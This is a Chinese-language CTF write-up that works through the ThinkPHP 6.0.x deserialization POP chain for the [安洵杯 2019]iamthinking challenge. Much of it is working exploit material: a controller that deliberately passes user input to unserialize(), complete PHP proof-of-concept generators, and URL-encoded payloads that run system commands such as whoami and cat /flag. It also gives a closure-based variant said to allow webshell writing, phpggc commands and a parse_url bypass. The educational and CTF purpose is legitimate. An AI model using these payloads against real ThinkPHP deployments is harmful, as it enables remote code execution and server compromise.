[toc]

前几天做了 [安洵杯 2019]iamthinking 这道题,题目给了源码,目的是让通过pop链审计出ThinkPHP6反序列化漏洞。

这里总结一下ThinkPHP6的反序列化漏洞的利用。

搭建环境

1
2
3
composer create-project topthink/think=6.0.x-dev thinkphp-v6.0
cd thinkphp-v6.0
php think run

ThinkPHP6需要php7.1及以上的环境才能搭建成功。

利用条件

这个漏洞的利用需要利用ThinkPHP进行二次开发,当源码中存在unserialize()函数且参数可控时,既可触发这个洞。

下面手动设置漏洞点,在Index控制器中写入:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$c = unserialize($_GET['whoami']); // 参数可控的unserialize函数
var_dump($c);
return 'Welcome to ThinkPHP!';
}
}

下面我们开始研究POP链的构造。

__destruct() 链构造

在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows 类,而POP链 __toString 之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString 方法的点。所有,总的目的就是跟踪寻找可以触发 __toString() 魔术方法的点。

先从起点 __destruct()__wakeup 方法开始,因为它们就是unserialize的触发点。

(1)寻找 __destruct 方法

我们全局搜索 __destruct() 方法,这里发现了 /vendor/topthink/think-orm/src/Model.php 中 Model 类的 __destruct 方法:

并且当满足 $this->lazySave==true 时,它里面含有save()方法会被触发,我们跟进save()方法。

(2)跟进save()方法

发现对 $this->exists 属性进行判断,如果为true则调用updateData()方法,如果为false则调用insertData()方法。而要想到达这一步,则要先避免被前面的判断给return掉,所以需要先满足下面这个if语句:

1
2
3
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

只需 $this->isEmpty() 为返回false,$this->trigger('BeforeWrite') 返回true即可。

  • 先跟进 $this->isEmpty() 方法:

可见只需要满足$this->data不为空即可。

  • 再跟进 $this->trigger() 方法(位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php中):

可见只需要满足 $this->withEvent == false 即可返回true。

在通过if判断语句之后,就可以进入到:

1
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

$this->exists == true 时进入 $this->updateData();当 $this->exists == false 时进入 $this->insertData()

分别跟进这两个方法,发现 updateData() 存在继续利用的点,所以需要 $this->exists == true,跟进分析。

(3)跟进updateData()方法

这里下一步的利用点存在于 $this->checkAllowFields() 中,但是要进入并调用该函数,需要先通过①②两处的if语句:

通过①处if语句:通过上面对trigger()方法的分析,我们知道需要令 $this->withEvent == false 即可通过。由于前面已经绕过了save()方法中的trigger(),所以这里就不用管了。

通过②处if语句:需要 $data == 1(非空)即可,所以我们跟进 $this->getChangedData() 方法(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中)看一下:

可见,我们只需要令 $this->force == true 即可直接返回 $this-data,而我们之前也需要设置 $this-data 为非空。

回到 updateData() 中,之后就可以成功调用到了 $this->checkAllowFields()

(4)跟进checkAllowFields()方法

可见,要想成功进入并执行 $this->db() 方法,我们要先通过前面的两个if语句:

通过①处if语句:只需令 $this->field 为空。

通过②处if语句:只需令 $this->schema 非空。

但可以看到field和schema是默认为空的(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中),所以不用管,然后进一步跟进$this->db()

(5)跟进db()方法

可以看到这里已经出现了用 . 进行字符串连接的操作了, 所以我们可以把 $this->table$this->suffix 设置成相应的类对象,此时通过 . 拼接便可以把类对象当做字符串,就可以触发 __toString() 方法了。

(6)__destruct() 链构造小结

目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用 __toString(),所以先总结一下我们需要设置的点:

1
2
3
4
5
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

调用过程如下:

1
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()

但是还有一个问题就是 Model 类是抽象类,不能实例化。所以要想利用,得找出 Model 类的一个子类进行实例化,这里可以用 Pivot 类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用:

__toString() 链构造

(1)寻找 __toString() 方法

既然前半条POP链已经能够触发 __toString() 了,下面就是寻找利用点。这次漏洞的 __toString() 利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion 的trait中:

代码很简单,我们继续跟进 toJson() 方法。

(2)跟进toJson()方法

没什么好说的,继续跟进 toArray() 方法。

(3)跟进toArray()方法

$date 进行遍历,其中 $key$date 的键。默认情况下,会进入第二个 elseif 语句,从而将 $key 作为参数调用 getAttr() 方法。

我们接着跟进 getAttr() 方法(位于 vendor\topthink\think-orm\src\model\concern\Attribute.php 中)。

(4)跟进getAttr()方法

$value 的值返回自 $this->getData() 方法,且 getData() 方法的参数为上面 toArray() 传进来的 $key,跟进一下 getData() 方法:

第一个if判断传入的值,如果 $name 值不为空,则将 $name值传入到getRealFieldName()方法。

这里面 getRealFieldName() 方法的参数,即 $name,依然是上面 toArray() 传进来的 $key

继续跟进 getRealFieldName() 方法:

当满足 $this->strict == true 时(默认为true),直接返回$name,也就是最开始从 toArray() 方法中传进来的 $key 值。

getRealFieldName() 方法回到 getData() 方法,此时 $fieldName 即为 $key。而返回语句如下:

这实际上就是返回了 $this->data[$key]

然后再从 getData() 回到 getAttr(),最后的返回语句如下:

这时参数 $name 则是从 toArray() 传进来的 $key,而参数 $value 的值就是 $this->data[$key]

继续跟进一下 getValue() 方法。

跟进getValue()方法

我们在getValue()方法中可以看到最终的利用点,即:

1
2
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

只要我们令 $closure 为 “system”,$this->data 为要执行的命令就可以动态执行system()函数来Getshell了。

我们尝试令 withAttr[$fieldName]="system"$this->data="whoami" ,即执行 system('whoami');

但如果要构造以上命令还需要绕过前面的两个if语句:

通过①处if语句:只需 $this->withAttr[$key] 存在。

通过②处if语句:只需 $this->withAttr[$key] 存在且不为数组。

$this->withAttr 数组存在和 $date 一样的键 $key,并且这个键对应的值不能为数组。

(6)__toString() 链构造小结

至此,后半个POP链也构造完成,总结下__toString() 链需要构造的点:

1
2
3
4
5
trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}

除此之外还需要将前面说的字符串拼接处的 table 声明为Pivot类的对象,从而将两个POP链串联起来。

第二个POP链调用过程如下:

POC

最终POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

namespace think\model\concern;

trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}

namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

运行得到payload:

1
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D

最后,利用我们该开始在Index控制器中创建的可控的反序列化点执行即可:

如上图,成功执行命令。

利用SerializableClosure来构造payload

还有一种方法就是用 ThinkPHP 自带的 SerializableClosure 来调用,我们来看一下这个方法。

主要是上面getValue()方法里的漏洞点,也就是构造pop链的最后的地方:

1
2
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);

我们通过一步步控制 $closure$this->data 最后构造并执行了动态函数。但是由于参数的限制,通过第一种方法我们无法执行 phpinfo() 这样的函数,所以我们尝试另一种方法,也就是利用 SerializableClosure。

\Opis\Closure 可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的 $closure($value, $this->data) 调用执行,即:

1
2
3
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data); // 这里的参数可以不用管

以上述代码为例,将调用phpinfo()函数。同样也可以通过将 phpinfo(); 改为别的来写webshell。

修改上面的POC即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
namespace think\model\concern;

trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
}

namespace think;

abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();}; //可写马,测试用的phpinfo;
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>''];

$c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
}

namespace think\model;

use think\Model;

class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));

?>

然后我们要执行这个POC生成payload。虽然 thinkphp 有自带的 SerializableClosure,但是我需要在本地执行POC,所以就要自行下载 \Opis\Closure: https://github.com/opis/closure。

将下载的Closure与POC放在同一目录

然后执行POC即可生成payload:

1
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7fb000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7f5000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D

但是SerializableClosure这个方法我在本地没有利用成功,但在最后面安询杯拿到题目里面成功了,不知道为什么。

执行效果如下:

利用phpggc工具生成paylaod

下载地址:https://github.com/wh1t3p1g/phpggc

phpggc是一个反序列化payload生成工具。网上一个大佬已经将ThinkPHP6反序列化的exp添加进phpggc中,需要安装在linux上,然后执行以下命令生成即可生成payload:

1
2
3
php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('whoami');"
# php ./phpggc thinkphp/rce2 <code>

但这里由于用到了SerializableClosure,需要使用编码器编码,不可直接输出拷贝利用。

CTF实战:[安洵杯 2019]iamthinking

[安洵杯 2019]iamthinking这道题目利用的就是ThinkPHP V6.0.x 反序列化漏洞。

进入题目,让我们访问/public/目录:

随便构造一个错误发现是thinkphp6的环境,并且提示我们要RCE:

题目给出了源码www.zip。拿到源码先看Index控制器:

这也太简单了,让我们用GET方法传入payload,然后将payload反序列化,不过事先要绕过绕过parse_url函数。

我们可以通过上面的POC构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

namespace think\model\concern;

trait Attribute
{
private $data = ["evil_key" => "ls /"]; // 查看根目录文件
// private $data = ["evil_key" => "cat /flag"]; // 读取flag
private $withAttr = ["evil_key" => "system"];
}

namespace think;

abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}

namespace think\model;

use think\Model;

class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

首先,我们查看根目录的文件,得到payload:

1
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D

然后,就要绕过parse_url函数对payload中“O”的检测,parse_url函数有个bug,即在域名(主机名)后面多加了两个斜杠 / 后会报错返回false,所以我们构造类似如下的url即可绕过parse_url函数的检测:

1
http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot......%3Bs%3A6%3A%22system%22%3B%7D%7D

这是因为多加了几个 / 后导致严重不合格的 URL,此时将不能正常返回url中的参数值,遇到这样格式的连接,parse_url函数将会报错返回False,这种情况下可能会绕过某些waf的过滤。

如下成功执行命令:

image-20210129175829462

读取flag:

1
http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D

image-20210129175947225

成功。

还可以利用上面提到的phpggc工具来生成payload:

1
2
3
php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('cat /flag');"
# php ./phpggc thinkphp/rce2 <code>

Ending……

参考:

https://blog.csdn.net/qq_42181428/article/details/105777872

https://www.anquanke.com/post/id/187393#h2-1

https://www.gaojiufeng.cn/?id=386

https://www.anquanke.com/post/id/187332

https://www.cnblogs.com/JinYITong/p/13994856.html